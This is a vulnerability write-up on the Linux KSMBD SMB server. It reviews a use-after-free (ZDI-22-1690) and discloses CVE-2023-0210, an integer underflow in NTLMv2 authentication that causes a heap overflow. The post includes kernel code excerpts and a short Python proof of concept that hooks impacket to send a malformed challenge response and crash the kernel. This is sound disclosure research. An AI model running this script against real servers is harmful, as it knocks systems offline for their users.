Author: Hrvoje Mišetić
KSMBD, as defined by the kernel documentation1, is a linux kernel server which implements SMB3 protocol in kernel space for sharing files over network. It was introduced in kernel version ‘v5.15-rc1’ so it’s still relatively new. Most distributions do not have KSMBD compiled into the kernel or enabled by default.
Recently, another vulnerability (ZDI-22-16902) was discovered in KSMBD, which allowed for unauthenticated remote code execution in the kernel context. This provided a motivation to look further into KSMBD’s code, where we found a new heap overflow in KSMBD’s authentication code.
What is ZDI-22-1690?
To understand where the bug happens, we will start with looking at the previous vulnerability in KSMBD. The fix commit3 says:
> smb2_tree_disconnect() freed the struct ksmbd_tree_connect, but it left the dangling pointer. It can be accessed again under compound requests.
This is how the function looked before the patch:
int smb2_tree_disconnect(struct ksmbd_work *work)
{
struct smb2_tree_disconnect_rsp *rsp = smb2_get_msg(work->response_buf);
struct ksmbd_session *sess = work->sess;
struct ksmbd_tree_connect *tcon = work->tcon; // (1)
rsp->StructureSize = cpu_to_le16(4);
inc_rfc1001_len(work->response_buf, 4);
ksmbd_debug(SMB, "request\n");
if (!tcon) {
struct smb2_tree_disconnect_req *req =
smb2_get_msg(work->request_buf);
ksmbd_debug(SMB, "Invalid tid %d\n", req->hdr.Id.SyncId.TreeId);
rsp->hdr.Status = STATUS_NETWORK_NAME_DELETED;
smb2_set_err_rsp(work);
return 0;
}
ksmbd_close_tree_conn_fds(work);
ksmbd_tree_conn_disconnect(sess, tcon); // (2)
return 0;
}
Code language: Perl (perl)
In the commit message, it says that the above function frees the ‘ksmbd_tree_connect’ struct but will leave a dangling pointer. There is only one `ksmbd_tree_connect` struct in this function and that is the ‘work->tcon’ pointer **(1)**. That pointer is also referenced just once in this function and it is the second argument to ‘ksmbd_tree_conn_disconnect’ function call **(2)**. Now, let’s take a look at what ‘ksmbd_tree_conn_disconnect’ does with the ‘tcon’ pointer:
int ksmbd_tree_conn_disconnect(struct ksmbd_session *sess,
struct ksmbd_tree_connect *tree_conn)
{
int ret;
ret = ksmbd_ipc_tree_disconnect_request(sess->id, tree_conn->id);
ksmbd_release_tree_conn_id(sess, tree_conn->id);
xa_erase(&sess->tree_conns, tree_conn->id);
ksmbd_share_config_put(tree_conn->share_conf);
kfree(tree_conn); // [1]
return ret;
}
Code language: PHP (php)
As shown in the code snippet above, ‘ksmbd_tree_connect’ is freed at the end of this function, which means that ‘work->tcon’ is now a pointer to a freed kernel heap chunk. We can also take a look at the Kernel Address Sanitizer (KASAN) report, which detects memory errors, provided in the fix commit:
[ 1685.468014 ] BUG: KASAN: use-after-free in ksmbd_tree_conn_disconnect+0x131/0x160 [ksmbd]
[ 1685.468068 ] Read of size 4 at addr ffff888102172180 by task kworker/1:2/4807
[...]
[ 1685.468130 ] Call Trace:
[ 1685.468132 ] <TASK>
[...]
[ 1685.468210 ] ksmbd_tree_conn_disconnect+0x131/0x160 [ksmbd]
[ 1685.468222 ] smb2_tree_disconnect+0x175/0x250 [ksmbd]
[...]
Code language: Perl (perl)
It says that the use-after-free happens in the ‘ksmbd_tree_conn_disconnect’ function called by ‘smb2_tree_disconnect,’ where then it is safe to assume that sending compound ‘SMB2_TREE_DISCONNECT’ commands to the KSMBD server will cause a double free on the ‘work->tcon’ pointer. The exploitation method is unknown but also irrelevant for this post.
NTLM Authentication
Since the heap overflow vulnerability is in the NTLM authentication code, we should have an understanding of how NTLM works.
- The client requests the server with the username they want to authenticate to.
- Server checks if the username exists.
- If not, it drops the connection.
- Otherwise, it sends a challenge to the client.
- The client receives the challenge and sends back said challenge encrypted with the hash of the user password.
- The server takes the user’s password from the system, hashes it, and encrypts the challenge from step 2 with that hash.
- The server compares the blob from step 3 and step 4.
- If they match, the client is now authenticated.
CVE-2023-0210
While searching for vulnerabilities reachable without authentication, we assumed it would be a good idea to start looking into the authentication implementation first. After a bit of searching, we found a function named ‘ksmbd_decode_ntlmssp_auth_blob.’
int ksmbd_decode_ntlmssp_auth_blob(struct authenticate_message *authblob,
int blob_len, struct ksmbd_conn *conn,
struct ksmbd_session *sess)
{
char *domain_name;
unsigned int nt_off, dn_off;
unsigned short nt_len, dn_len;
int ret;
[...]
// (1)
nt_off = le32_to_cpu(authblob->NtChallengeResponse.BufferOffset);
nt_len = le16_to_cpu(authblob->NtChallengeResponse.Length);
[...]
if (blob_len < (u64)dn_off + dn_len || blob_len < (u64)nt_off + nt_len) // (2)
return -EINVAL;
[...]
ret = ksmbd_auth_ntlmv2(conn, sess,
(struct ntlmv2_resp *)((char *)authblob + nt_off),
nt_len - CIFS_ENCPWD_SIZE, // (3)
domain_name, conn->ntlmssp.cryptkey);
[...]
return ret;
}
Code language: Perl (perl)
A thing to note is that the ‘authblob’ variable here is the third step of NTLM authentication. In order to reach this function, we have to know a valid username of the remote KSMBD instance to get past the first two steps.
Let’s examine the code above. First, the function takes ‘BufferOffset’ and ‘Length’ from the client’s challenge response and stores them in ‘nt_off’ and ‘nt_len,’ respectively **(1)**. Afterwards, it will do a check to see if ‘nt_off + nt_len’ goes out of bounds of in-memory client’s challenge response **(2)**. Finally, it calls ‘ksmbd_auth_ntlmv2,’ the fourth argument being ‘nt_len – CIFS_ENCPWD_SIZE’ **(3)**, which is where the bug lies: an integer underflow is triggered if ‘nt_len’ provided by the client’s challenge response is less than ‘CIFS_ENCPWD_SIZE.’
Now, let’s take a look at what ‘ksmbd_auth_ntlmv2’ does with the fourth argument:
int ksmbd_auth_ntlmv2(struct ksmbd_conn *conn, struct ksmbd_session *sess,
struct ntlmv2_resp *ntlmv2, int blen, char *domain_name,
char *cryptkey)
{
char ntlmv2_hash[CIFS_ENCPWD_SIZE];
char ntlmv2_rsp[CIFS_HMAC_MD5_HASH_SIZE];
struct ksmbd_crypto_ctx *ctx;
char *construct = NULL;
int rc, len;
[...]
len = CIFS_CRYPTO_KEY_SIZE + blen; // (1)
construct = kzalloc(len, GFP_KERNEL);
if (!construct) {
rc = -ENOMEM;
goto out;
}
memcpy(construct, cryptkey, CIFS_CRYPTO_KEY_SIZE);
memcpy(construct + CIFS_CRYPTO_KEY_SIZE, &ntlmv2->blob_signature, blen); // (2)
[...]
out:
ksmbd_release_crypto_ctx(ctx);
kfree(construct);
return rc;
}
Code language: Perl (perl)
As we can see in the code above, it is referenced in two places: the ‘len’ calculation **(1)** and the ‘memcpy’ call **(2)**, and in such a way that it can be abused to overflow the allocated heap buffer.
If the ‘blen’ value is -7, then the ‘len’ calculation will be ‘CIFS_CRYPTO_KEY_SIZE + (-7)’ or ‘8 + (-7).’ That will result in a kzalloc call with the size argument being 1, and then ‘memcpy’ will use that allocated heap buffer as the destination to copy ‘blen,’ or -7, amount of bytes to it, resulting in a heap buffer overflow.
Since the type of memcpy’s third argument is ‘size_t,’ this overflow will be too large for remote code exploitation but would most likely result in a denial of service. Once the write operation reaches an inaccessible area of memory, a kernel panic will occur.
Exploitation
We modified impacket4 a bit to help trigger this overflow. Specifically, we added ‘ntChallengeResponse = b”A” * 9’ at line 9315 in the ‘ntlm.py’ file and ran an impacket to authenticate with the KSMBD server using a valid username. We can also just hook the function where ‘ntChallengeResponse’ is set and change it with the following code:
#!/usr/bin/python3
from impacket.smbconnection import SMBConnection
import functools
import impacket.ntlm
# using impacket-0.10.0
user = "test"
pw = "test"
domain = "localhost"
address = "127.0.0.1"
target_ip = "127.0.0.1"
port = "445"
def post_function(function, postfunction):
@functools.wraps(function)
def run(*args, **kwargs):
resp = function(*args, **kwargs)
return postfunction(resp)
return run
def post_computeResponseNTLMv2_hook(resp):
return ('A' * 10, resp[1], resp[2])
impacket.ntlm.computeResponseNTLMv2 = post_function(
impacket.ntlm.computeResponseNTLMv2, post_computeResponseNTLMv2_hook)
smbClient = SMBConnection(address, target_ip, port)
smbClient.login(user, pw, domain)
Code language: Perl (perl)
This will result in a kernel panic causing a denial of service, and to our current knowledge, that is the only result of exploiting the vulnerability.
Conclusion
As scary as these bugs sound, they aren’t that big of a deal for most Linux users, mainly because of two reasons: KSMBD is not enabled by default but it is a module, which means that the user has to enable and configure it by themselves, as documented here6. It is also worth noting that, given the nature of the SMB protocol and its historical implication in large scale security incidents, one might rarely need to expose the SMB port directly to the internet, a practice that is generally discouraged.
References:
1https://docs.kernel.org/filesystems/cifs/ksmbd.html
2https://www.zerodayinitiative.com/advisories/ZDI-22-1690/
3https://github.com/namjaejeon/ksmbd/commit/c88d9195ac11b947a9f5c4347f545f352472de0a
4https://github.com/fortra/impacket
5https://github.com/fortra/impacket/blob/master/impacket/ntlm.py#L931
6https://docs.kernel.org/filesystems/cifs/ksmbd.html#how-to-run